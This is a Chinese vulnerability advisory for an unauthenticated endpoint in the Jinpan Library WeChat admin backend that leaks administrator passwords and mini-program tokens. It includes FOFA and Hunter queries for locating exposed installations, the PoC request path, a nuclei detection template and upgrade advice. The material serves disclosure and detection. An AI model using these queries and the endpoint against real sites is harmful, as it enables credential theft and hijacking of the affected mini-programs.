金盘图书馆微信管理后台信息泄露漏洞

免责声明

文章所涉及内容，仅供安全研究与教学之用，由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。

漏洞描述

北京金盘鹏图软件技术有限公司的金盘图书馆微信管理后台 getsysteminfo 存在未授权访问漏洞，可获取管理员账号密码等敏感数据，导致攻击者能以管理员身份进⼊后台窃取敏感信息，并获取Tokem直接劫持小程序。

网络测绘

FOFA网络测绘搜索

title="微信管理后台" && icon_hash="116323821"

鹰图网络测绘搜索

web.title="微信管理后台"&&web.icon=="0488faca4c19046b94d07c3ee83cf9d6"

漏洞复现

POC：

/admin/weichatcfg/getsysteminfo

由于鉴权逻辑缺陷，可以未授权访问getsysteminfo接口，能直接获取管理员账号、密码、小程序Token等重要敏感信息导致相关应用小程序被劫持，小程序用户、企业相关资质、支付接口等信息泄露。

nuclei验证POC模板

id: jinpan_librarywechatmanagement_getsysteminfo_unauthorized
info:
  name: jinpan_librarywechatmanagement_getsysteminfo_unauthorized
  author: 4Zen
  severity: low
  tags: unauth
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/weichatcfg/getsysteminfo"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "application/json"
        part: header

      - type: status
        status:
          - 200

修复方案

官方已发布安全修复版本，请升级至官网最新版本。

http://goldlib.com.cn/